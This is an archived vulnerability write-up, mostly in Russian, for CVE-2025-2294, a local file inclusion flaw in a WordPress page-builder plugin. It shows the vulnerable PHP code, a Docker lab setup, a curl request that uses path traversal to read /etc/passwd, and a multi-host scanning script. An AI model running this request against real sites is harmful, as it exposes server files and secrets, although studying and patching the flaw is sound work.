Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-2294 PoC — Kubio AI Page Builder <= 2.5.1 - Unauthenticated Local File Inclusion

Source
Associated Vulnerability
Title:Kubio AI Page Builder <= 2.5.1 - Unauthenticated Local File Inclusion (CVE-2025-2294)
Description:The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubio_hybrid_theme_load_template function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
Readme
# CVE-2025-2294

## Введение
**CVE-2025-2294** — критическая уязвимость типа **Local File Inclusion (LFI)** в плагине **Kubio AI Page Builder** для WordPress. Уязвимость позволяет **неаутентифицированному** удалённому злоумышленнику передать специально сформированный параметр, из-за чего плагин может включить произвольный файл на сервере; при наличии включаемого PHP-файла это может привести к удалённому выполнению кода (RCE).

- **Поражаемые версии:** все версии плагина **≤ 2.5.1**.  
- **CVSS v3.1:** **9.8 (Critical)**.

---

## Цель отчёта
1. Систематизировать доступные материалы и объяснить суть уязвимости.  
2. Рассмотреть условия и конфигурации, при которых уязвимость актуальна.  
3. Показать способы обнаружения и рекомендации по защите (без пошаговых PoC).  
4. Дать рекомендации по устранению и смягчению последствий.

---

## CPE / идентификация
- **Plugin slug:** `kubio`  
- **Путь:** `/wp-content/plugins/kubio/`  
- **Vendor:** ExtendThemes / Kubio  
- **CPE (пример):** `cpe:2.3:a:extendthemes:kubio_ai_page_builder::::::wordpress::*`

**CWE:** CWE-22 — *Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)*.

---

## Условия эксплуатации
- Плагин Kubio установлен и активирован на сайте.  
- Версия **≤ 2.5.1** (непатченная).  
- Доступен публичный HTTP(S) endpoint, принимающий параметр `__kubio-site-edit-iframe-classic-template`.  
- (Для получения RCE) В системе должен существовать включаемый PHP-файл или иной путь к исполняемому коду (например, через уязвимости в других компонентах или неправильные права).

---

## Импакт
- Чтение файлов с секретами (например, `wp-config.php`, приватные ключи, логи).  
- Возможна загрузка/выполнение произвольного кода, изменение контента или внедрение бекдоров.  
- Компромисс сервера, возможные нарушения работы сайта, удаление/шифрование данных.  
- Масштаб риска увеличивается из-за широкого распространения плагина и появления публичных PoC/сканеров.

---

## Технические детали
Уязвимый код связан с функцией `kubio_hybrid_theme_load_template()`, которая обращается к глобальному массиву `$_REQUEST`:

```php
$template_id = Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false);
if ($template_id) {
    $new_template = locate_template([$template_id]);
    if ($new_template !== '') {
        return $new_template;
    }
}
```

- **Что делает код:**
1. `Arr::get($_REQUEST, '__kubio-site-edit-iframe-classic-template', false)` — берёт значение прямо из глобального набора входных данных ($_REQUEST объединяет $_GET, $_POST, $_COOKIE). `Это означает, что параметр управляем удалённо.

2. Если параметр присутствует (`$template_id` истинно), код вызывает `locate_template([$template_id])`.

3. `locate_template()` — WordPress-утилита (или аналог в плагине) для поиска шаблонов по переданному относительному пути/имени. В нормальном сценарии ожидалось, что туда будут передаваться имена файлов внутри безопасного каталога шаблонов, например `header.php` или `template-parts/content.php`.

4. Возвращаемое значение ($new_template) затем используется — в исходной реализации это может привести к include/require найденного пути, либо к передаче этого пути дальше для вывода.Это создаёт возможность LFI: злоумышленник может указать путь к произвольному файлу.


## Локальный запуск

```bash
git clone https://github.com/iteride/CVE-2025-2294.git && cd CVE-2025-2294/ && docker-compose up -d
```
- Заходим в докер:

```bash
docker exec -it <WORDPRESS_DOCKER_ID> bash
```

- Скачиваем и запускаем kubio

> *Для запуска после распаковки перейдите в http://localhost:8080/wp-admin/plugins.php и активируйте плагин*

```bash
cd /var/www/html/wp-content/plugins
curl -L -o kubio-2.5.1.zip "https://downloads.wordpress.org/plugin/kubio.2.5.1.zip"
unzip kubio-2.5.1.zip
rm kubio-2.5.1.zip
chown -R www-data:www-data kubio
```

---

## POC/Exploit

```bash
curl 'http://localhost:8080/?__kubio-site-edit-iframe-preview=1&__kubio-site-edit-iframe-classic-template=../../../../../../../../../etc/passwd'
```


![lfi](/img/lfi.png)


**`__kubio-site-edit-iframe-classic-template=<path>`**

Этот параметр передаёт строку, которую плагин использует как идентификатор/путь шаблона.

В уязвимом фрагменте кода значение берётся из `$_REQUEST` и передаётся в `locate_template()` без предварительной нормализации или ограничения. В результате возможен **path traversal**: если в значение вставить последовательности `../`, итоговый путь может выйти за пределы ожидаемой директории шаблонов и указывать на любой файл на файловой системе (в том числе `/etc/passwd`).

Именно этот параметр несёт полезную нагрузку атаки — с его помощью атакующий указывает целевой файл.


**`__kubio-site-edit-iframe-preview=1`**

Это служебный флаг (режим предпросмотра / iframe-edit mode). Он переключает обработку запроса в кодовую ветку, где считывается и используется шаблон, заданный в `__kubio-site-edit-iframe-classic-template`.

Без `preview=1` плагин мог бы не обрабатывать параметр `classic-template` или использовать другую логику; с `preview=1` включается логика, которая допускает чтение и возвращение шаблона, что делает возможным эксплуатацию.

---

## nuclei-template

### 1. **Пассивный шаблон**

- Проверяет **версию плагина** через файл `/wp-content/plugins/kubio/readme.txt`.

![passive](/img/passive.png)

### 2. Активный шаблон

- Проверяет вывод /etc/passwd
  
![active](/img/active.png)

---

## Скрипт

Скрипт проверяет вывод /etc/passwd но в разы быстрее чем nuclei благодаря многопоточности,а также поддерживает скан сразу нескольких хостов

```bash
python3 scan.py --target http://localhost:8080
```

![scan](/img/scan.png)

File Snapshot

[4.0K] /data/pocs/535d2182d4cb80d3b4cb7e7ce108c918163a030a ├── [ 833] docker-compose.yml ├── [4.0K] img │   ├── [109K] active.png │   ├── [ 92K] lfi.png │   ├── [106K] passive.png │   └── [ 33K] scan.png ├── [4.0K] nuclei-template │   ├── [ 629] active.yaml │   └── [ 799] passive.yaml ├── [8.1K] README.md └── [5.1K] scan.py 3 directories, 9 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →